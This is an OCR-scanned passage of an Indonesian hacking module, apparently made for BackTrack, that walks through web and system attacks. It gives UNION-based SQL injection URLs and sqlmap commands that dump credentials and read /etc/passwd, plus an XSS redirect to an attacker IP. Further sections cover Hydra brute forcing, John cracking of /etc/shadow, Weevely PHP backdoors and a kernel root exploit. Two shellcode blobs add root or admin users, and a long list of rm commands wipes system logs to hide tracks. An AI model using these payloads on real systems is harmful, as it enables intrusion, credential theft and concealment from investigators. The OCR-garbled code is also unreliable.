] Found 22 domains hosted on the same web server as google.com (74.125.224.163).

chrome.google.com (linkback) developers.google.com (linkback)
encrypted.google.com (linkback) feeds.feedbumer.com (linkback)
froogle.google.com (linkback) gmail.google.com (linkback)

goo.gl (linkback) google.co (linkback)

google.com (linkback) investors.google.com (linkback)
mtl.google.com (linkback) plus.google.com (linkback)
sites.google.com (linkback) spreadsheets.|.google.com (linkback)
videos.google.com (linkback) wap.google.com (linkback)
ww.google.com (linkback) www.goo.gl (linkback)
www.youtube.com (linkback) www3.l.google.com (linkback)

wwwid.|.google.com (linkback) youtube_com (linkback)



http://www.yougetsignal.com/tools/web-sites-on-web-server/
http://www.yougetsignal.com/tools/web-sites-on-web-server/
http://www.example.com/
http://www.example.com/
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Ox004 - Vulnerability Assessment

Nikto | Webserver vulnerability scanning

Nikto adalah tools untuk pemindaian vulnerability pada suatu web. Ketika nikto menemukan
kerentanan pada webserver maka akan menampilkan informasi mengenai celah tersebut. Nikto
hanya melakukan pemindaian terhadap port HTTP dan pemindaian web aplikasi dengan cara
membandingkan database pada nikto.

Perintah melakukan pemindaian dengan nikto :

/nikto.pl -h 192.168.56.39

Wpscan (Wordpress Scanning)
Pada umumnya wordpress sudah aman untuk versi-versi tertentu, namun karena plugin yang
bercelah maka wordpress itu menjadi tidak aman lagi. Celah yang sering ditemukan adalah :

Tool

File Path Disclosure : Celah dimana halaman menampilkan error dan menampilkan
lokasi letak penyimpanan halaman, padahal user seharusnya tidak boleh memiliki izin untuk
mengetahui informasi sensitif seperti ini.

Local File Disclosure : Celah dimana halaman download dapat mengunduh file lokal
misal down.php?fd=in.zip namun ketika url tersebut diganti dengan down.php?fd=db.php
maka file db.php akan diunduh dan masih berupa source code yang mengandung informasi
sensitif mengenai akun mysql.

Local File Inclusion : Celah dimana halaman dapat di injeksi dengan file lokal.
Akibatnya apabila yang di include adalah environ, attacker dapat menginjeksi kode php
perintah pada USER AGENT.

Remote File Inclusion : Celah dimana halaman dapat di injeksi dengan file diluar
server. Attacker dapat menginjeksi file php shell.

SQL Injections : Celah dimana attacker dapat menginjeksi perintah SQL pada
halaman input data.

Dan masih banyak lagi.

wpscan digunakan untuk mendeteksi informasi baik celah maupun informasi mengenai

wordpress seperti versi, plugin, ataupun tema yang dipakai.

Contoh File Path Disclosure disebabkan error :
Fatal error: Call to undefined function deprecated file() in /home/[user]/public_html/html/wp-
includes/rss-functions.php on line 8

Penggunaan wpscan :
Jwpscan.rb --url www.target.com

Memang celah tersebut tidak sampai exploitasi, namun attacker dapat mengetahui mengenai lokasi
dimana letak file tersebut.
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Joomscan (Joomla Scanner)

Apabila wpscan merupakan tool pemindaian khusus wordpress, maka joomscan merupakan tool
pemindaian khusus untuk joomla. Ketika tools ini menemukan plugin yang bermasalah, tools ini
juga menampilkan link exploit yang digunakan untuk mengeksploitasinya.

/joomscan.pl -u 192.168.0.102/Joomla-1.5.0

Vulnerabilities Discovered

Info > Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt

Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to
succeed.

Vulnerable? Yes

#2

Info -> Generic: Unprotected Administrator directory
Versions Affected: Any

Check: /administrator/

Exploit: The default /administrator directory is detected. Attackers can bruteforce administrator accounts.
Read: http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY %20WAY S%20TO%20PROTECT.pdf

Vulnerable? Yes

Gambar diatas merupakan contoh pemindaian celah menggunakan joomscan.

W3af (Web Application Attack and Audit Framework)

Merupakan tools audit keamanan terhadap aplikasi website.
Untuk menjalankan tools ini dari menu :

Applications > Backtrack > Vulnerability Assessment > Web Application Assessment > Web Vulnerability
Assessment > W3af Console

Perintah dasar :

* help : Mengetahui informasi dasar tools
e start : Menjalankan pemindaian
e plugins : Mengaktitkan plugin

* exploit : Memulai untuk exploitasi
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» profiles : Daftar dan pnggunaan profile yang digunakan untuk pemindaian
* http-settings : Konfigurasi penggunaan HTTP untuk w3af
* misc-settings : Konfigurasi w3af lain

* target : Setting URL target

* Dback : Kembali ke menu utama
e exit : Keluar dari w3af

e assert : Periksa pernyataan

Memulai audit web aplikasi dengan w3af :

1. Mengatur konfigurasi plugin
W3af > plugins

2. Mengaktitkan plugin untuk pemindaian file
W3af/plugins > discovery googleSpider

3. Mengaktifkan plugin audit (SQL Injections, XSS, dan Web Dav)

W3af/plugins > audit sqli, xss, dav

4. Kembali ke menu utama

W3af/plugins > back

5. Menambahkan URL target
W3af > target
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W3af/target > set target http://example.com

7. Kembali ke menu utama

W3af/plugins > back

8. Memulai pemindaian

W3af> start

N
§
=3
=)
=)
5]
2,
=
a.
=)
=

W3af> start
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Fimap (File Inclusion Map)
Merupakan tools kecil yang digunakan untuk menemukan, audit, exploitasi untuk lokal dan remote
file inclusion.

Sebelum menggunakan, anda perlu menginstall plugin yang diperlukan dengan perintah
J/fimap.py --install-plugin

Memulai single scan dengan fimap

Jfimap.py -b -u “http://example.com/lfi.php?page=index.php”

Memulai exploitasi dari hasil pemindaian sebelumnya

J/fimap.py -x

XSSer

Tools Framework untuk mendeteksi, mengeksploitasi, dan melaportkan kelemahan XSS.

J/fimap -u “http://www.example.com” -g “index.php?user=data”
--referer="666.666.666.666" -user-agent="correctaudit”



http://www.example.com/
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Ox005 - Web Attack

Basic SQL Injections
SQL Injections merupakan celah dimana attacker dapat menyuntikkan perintah SQL pada input data
web.

index.php
<?php
$conn = mysql_connect("localhost","root","");

if (!$conn) die ("Koneksi gagal");
mysql select db("blogvuln") or die ("Database tidak ditemukan");

$id = $_GET[id";
$q =mysql_query("SELECT * FROM artikel where id=$id");
while($data = mysql_fetch_array($q)){

echo "$data[title]<br/>$data[isi]<br/>Oleh : $data[author]";
H

7>

Source code diatas sangat berbahaya karena tidak ada filter pada bagian $id sehingga kita dapat
menginjeksi pada parameters id.

Exploitasi SQL Injections manual :
1. Mendeteksi adanya celah sql injections
example :

http://example.com/?id=1" tampilan error atau blank
http://example.com/?id=1+and+1=1 tampilan normal
http://example.com/?id=1"+and+1=2 tampilan blank

2. Mencari dan menghitung jumlah table
example :

http://example.com/?id=1+order+by+1-- tampilan normal
http://example.com/?id=1+order+by+10-- tampilan error

http://example.com/?id=1+order+by+9-- tampilan normal
Jadi kesimpulan jumlah table ada 9

3. Memunculkan angka ajaib pada layar dengan menambahkan perintah sql sebagai
berikut :
http://example.com/?id=-1+*UNION+SELECT+1,2.3.4.5.6,7.8.9--
angka 1 — 9 merupakan jumlah table. Misalkan pada layar menampilkan angka 5.

4. Memunculkan versi dengan mengganti angka 5 menjadi version()
http://example.com/?id=-1+UNION+SELECT+1,2.3 4. version(),6,7,8.9--
Apabila berhasil akan memunculkan versi mysql.

5. Menampilkan table yang ada pada web target

http://example.com/?id=-
I+UNION+SELECT+1,2.3.4.table_name,6,7.8,9+from+information_schema.tables--



http://example.com/?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9--
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9--
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9--
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9--
http://example.com/?id=1+order+by+9--
http://example.com/?id=1+order+by+10--
http://example.com/?id=1+order+by+1--
http://example.com/?id=1'+and+1=2
http://example.com/?id=1+and+1=1
http://example.com/?id=1
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6. Menampilkan semua table yang digunakan
http://example.com/?id=-
1+UNION+SELECT+1,2.3.4.group_concat(table name),6,7,8,9+from+information_schema
.tablestwhere+ttable _schema=database()--

7. Melihat kolom pada database
http://example.com/?id=-
1+UNION+SELECT+1,2.3.4.group_concat(column_name),6,7.8.9+from+information_sche
ma.columns+where+table name=[table in_hexadecimal]--

8. Memunculkan isi data pada kolom
http://example.com/?id=-
1+UNION+SELECT+1.2.3.4.concat ws(0x3a.user.pass).6.7.8.9+from+nama _table--

Exploitasi SQL Injections manual (LOAD FILE) :
http://example.com/?id=-

1+UNION+SELECT+1,2.3.4.L OAD_FILE(location_hexadecimal).6.7,8.9--

location_hexadecimal = lokasi file yang akan di baca (dalam hexadecimal)

SQL Injections with SQLMap

cd /pentest/database/sqlmap

/sqlmap.py -u “

Menampilkan daftar database yang digunakan
./sqlmap.py -u ” --current-db

Menampilkan daftar table
./sqlmap.py -u

Menampilkan daftar kolom

/sqlmap.py -u “ >-D nama db -T
nama_table --columns

Mengunduh data dalam table

/sqlmap.py -u “ >-D nama db -T
nama_table --dump

Mengunduh file pada server target

/sqlmap.py -u “

read=/etc/passwd



http://target.com/index.php?id=1
http://target.com/index.php?id=1
http://target.com/index.php?id=1
http://target.com/index.php?id=1
http://target.com/index.php?id=1
http://target.com/index.php?id=1
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9--
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9--
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user,pass),6,7,8,9+from+nama_table--
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user,pass),6,7,8,9+from+nama_table--
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,group_concat(column_name),6,7,8,9+from+information_schema.columns+where+table_name=[table_in_hexadecimal]--
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,group_concat(column_name),6,7,8,9+from+information_schema.columns+where+table_name=[table_in_hexadecimal]--
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,group_concat(column_name),6,7,8,9+from+information_schema.columns+where+table_name=[table_in_hexadecimal]--
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,group_concat(table_name),6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,group_concat(table_name),6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://example.com/?id=-1+UNION+SELECT+1,2,3,4,group_concat(table_name),6,7,8,9+from+information_schema.tables+where+table_schema=database()--
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Basic LFI Exploitation
Attacker dapat menginjeksi kode jahat yang membuat attacker memasuki sistem target.
<?php

$id =$_GET[id";

if ($id 1="){
include “$id”;

}

r>

Apabila attacker dapat menginjeksi /proc/self/environ/maka attacker dapat menginjeksi dengan cara
tamper data.

LFI Exploitation with fimap
Pemindaian LFI dengan fimap

J/fimap.py -b -v 3 -u ”

Exploitations dengan fimap

J/fimap.py -x

Basic XSS Exploitation
XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh
penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs.
Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang
dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi
berbahaya. (Wikipedia.org )

Serangan dengan kombinasi metasploit & XSS

script untuk redirect ke IP attacker

<script type="text/javascript">

window.location = "http://192.168.0.102"

</script>

pada metasploit kita load modul browser autopwn seperti pada modul sebelumnya.

Ketika korban membuka link yang sudah di injeksi dengan HTML (celah XSS) maka attacker akan
dialihkan ke IP Attacker.



http://target.com/index.php?page=index.php
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Ox006 - Password Attack

Merupakan serangan memanfaatkan kata sandi yang lemah, kata sandi umum, atau kata sandi yang
ada pada kamus yang dikenal dictionary attack.

Ilustrasi BruteForce Attack:

Attacker : Username saya root, saya mau masuk.
Sistem : Masukkan password terlebih dahulu.
Attacker : Password = a

Sistem : Password salah

Attacker : Password = ab

Sistem : Password salah

Attacker : Password = ac

Sistem : Password salah

Attacker : Password = ad

Sistem : Password salah

Attacker : Password = ae

Sistem : Password salah

Attacker : Password = af

Sistem : Password salah

Attacker : Password = ag

Sistem : Password salah

Attacker : Password = ah

Sistem : Password salah

Attacker : Password = ai

Sistem : Password benar. Silahkan masuk.

Ilustrasi Dictionary Attack:

Attacker : Apa saya boleh masuk username saya adalah admin?
Sistem : Anda harus menyebutkan password untuk mengidentifikasi siapa anda.
Attacker : Password saya adalah admin.

Sistem : Salah! Password yang anda masukan salah.

Attacker : Password saya adalah administrator.

Sistem : Salah! Password yang anda masukan salah.

Attacker : Password saya adalah manager.

Sistem : Salah! Password yang anda masukan salah.

Attacker : Password saya adalah 12345.

Sistem : Salah! Password yang anda masukan salah.

Attacker : Password saya adalah 12345678.

Sistem : Salah! Password yang anda masukan salah.

Attacker : Password saya adalah toor.

Sistem : Salah! Password yang anda masukan salah.

Attacker : Password saya adalah password.

Sistem : Salah! Password yang anda masukan salah.

Attacker : Password saya adalah xcode.

Sistem : Benar....! Selamat datang admin, silahkan masuk....
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Online Password Attack with Hydra

Serangan pada service sistem yang membuka port tertentu.

Dictionary Attack FTP login
hydra -1 ne0Oz -P /root/Desktop/tes.txt 192.168.56.103 ftp

/tes.t

en to finish)

149

Nah password dapat ditemukan user:ne0z password:toor. Untuk service ssh hanya perlu mengganti
ftp menjadi ssh.

Dictionary Attack PHPmyadmin login
dra -1 root -P /root/Desktop/tes.txt -m /phpmyadmin/ 192.168.56.103 http-get
: 1sts : f Jes txt

Keterangan : tes.txt adalah file wordlist
Backrack sudah memiliki wordlist, lokasi file terdapat pada /pentest/passwords/wordlists/darcOde.lst

Offline Password Attack with John The ripper

MDS Crack

MDS5 (Message Digest alogarithm 5) ialah fungsi kriptografik yang secara umum digunakan
secaraluas dengan hash valuel28-bit. (referensi : wikipedia)

MDS banyak digunakan untuk otentifikasi web aplikasi, penjelasan sederhananya bahwa ketika user
registerasi pada sistem web aplikasi password akan dirubah ke format md5. Contoh : Wordpress,
joomla, dan masih banyak lagi.

./john --format=raw-md5 --show password.txt
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Keterangan
» --format merupakan opsi untuk set tipe hash
* raw-md5 merupakan tipe hash yang kita crack
e --show menampilkan output hasil crack

* password.txt merupakan file yang didalamnya terdapat md5 hash contohnya :
827ccbleea8a706c4c34a16891184e7b

Shadow Crack

Dalam OS Linux, hash password sering terletak pada file /etc/shadow. Kita dapat melakukan
cracking pada hash tersebut dengan perintah.

./john /etc/shadow

AFS Hash Crack
Contoh hash : $K4$a8dc8aeaa2c48a97,

./john --format=afs --show password.txt

BFegg Hash Crack
Contoh hash: +C/.80.Wuph9.

./john --format=bfegg --show password.txt

BlowFish Hash Crack
Contoh hash: $2a$05$CCCCCCCCCCCCCCCCCCCCC.7uG0VCzI2bS7j6ymqJi9CdcdxiRTWNy

/john --format=bf --show password.txt

SHA1 Gen Hash Crack
Contoh hash : $SHA 1p$salt$59b3e8d637ct97edbe2384cf59cb7453dfe30789

./john --format=shal-gen --show password.txt
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Ox007 - Maintaining Access

Weevely Backdoor (PHP shell)

Weevely adalah tools framework yang digunakan untuk membuat sebuah php shell dengan enkripsi.
Weevely juga menyediakan fitur untuk mengontrol backdoor tersebut.

Untuk membuat backdoor dengan weevely :

Jweevely.py generate [password] file.php

Untuk mengontrol backdoor dengan perintah :

Jweevely.py [password]

Ox008 - Linux Privilege Escalation

Sebuah celah kerentanan pada lokal sistem linux yang mampu membuat attacker memiliki hak
akses lebih. Umumnya karena celah pada kernel. Untuk yang terbaru saat ini adalah exploit
mempodipper. Terbukti bahwa penulis pernah mencoba pada ubuntu 11 dari user biasa kemudian
menjadi root.

Rooting
Source code mempodipper.c dari exploit-db.com.

Alamat http://www.exploit-db.com/exploits/18411/

Compile mempodipper.c

gce mempodipper.c -0 mempodipper

Jalankan :

mempodipper



http://www.exploit-db.com/exploits/18411/
http://example.com/test.php
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Add new user
Menambahkan user baru dengan akses root

int main()

{

char shellcode[] =
"\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68"
"\x2F\x2F\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66"
"\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2"
"\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68"
"\Xx72\x30\x30\x74\x89\xel\x6a\x0c\x5a\xcd\x80\x6a"
"\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80";

(*(void (*)()) shellcode)();
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Ox009 - Windows Privilege Escalation

Add new user

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){

unsigned char shellcode[]=

.;-;,;-ife{' &

"\xeb\x1b\x5b\x31\xcO\x50\x31\xcO\x88\x43\x4e\x53\xbb\x0d\x25\x86\x7c"
"\xFFAXxd3\x31\xcO\x50\xbb\x12\xcb\x81\x7c\xff\xd3\xe8\xed\xff\xff\xff"
"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2F\x63\x20\x6e\x65\x74\x20\x75\x73"
"\x65\x72\x20\x6b\x70\x73\x73\x20\x31\x32\x33\x34\x35\x20\x2f\x61\x64"
"\X64\Xx20\x26\x26\Xx20\x6e\X65\X74\x20\X6c\X6T\Xx63\Xx61\X6C\X67\Xx72\x6f"
"\X75\Xx70\x20\x41\x64\x6d\x69\x6€\x69\X73\X74\Xx72\ X061\ x74\x6 F\x72\x73"

"\Xx20\Xx2F\x61\x64\x64\x20\x6b\X70\Xx73\x73";

printf("Size = %d bytes\n", strlen(shellcode));

((void (*)())shellcode)();

return 0;

Ox010 - Clear Tracks

echo >/var/log/wtmp

echo >/var/log/lastlog

echo >/var/log/messages

echo >/var/log/secure

echo >/var/log/maillog

echo >/var/log/xferlog
Menghapus logs file

rm -rf /var/log/*.o0ld &> /dev/null
Dilarang mengcopy isi modul tanpa seijin pihak X-code
rm -rf /var/log/*.0 &> /dev/null
rm -rf /var/log/*.1 &> /dev/null
rm -rf /var/log/*.2 &> /dev/null
rm -rf /var/log/*.3 &> /dev/null
rm -rf /var/log/*.gz &> /dev/null
Menghapus logs samba
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rm -rf /var/log/samba/*.old &> /dev/null
rm -rf /var/log/samba/*.0 &> /dev/null
rm -rf /var/log/samba/*.1 &> /dev/null
rm -rf /var/log/samba/*.2 &> /dev/null
rm -rf /var/log/samba/*.3 &> /dev/null
rm -rf /var/log/samba/*.gz &> /dev/null
Menghapus logs APT

rm -rf /var/log/apt/*.old &> /dev/null
rm -rf /var/log/apt/*.0 &> /dev/null
Dilarang mengcopy isi modul tanpa seijin pithak X-code
rm -rf /var/log/apt/*.1 &> /dev/null

rm -rf /var/log/apt/*.2 &> /dev/null

rm -rf /var/log/apt/*.3 &> /dev/null

rm -rf /var/log/apt/*.gz &> /dev/null
Menghapus logs GDM

rm -rf /var/log/gdm/*.0ld &> /dev/null
rm -rf /var/log/gdm/*.0 &> /dev/null
rm -rf /var/log/gdm/*.1 &> /dev/null
rm -rf /var/log/gdm/*.2 &> /dev/null
rm -rf /var/log/gdm/*.3 &> /dev/null
rm -rf /var/log/gdm/*.gz &> /dev/null
Menghapus logs cup

rm -rf /var/log/cups/*.old &> /dev/null
rm -rf /var/log/cups/*.0 &> /dev/null
rm -rf /var/log/cups/*.1 &> /dev/null
rm -rf /var/log/cups/*.2 &> /dev/null
rm -rf /var/log/cups/*.3 &> /dev/null
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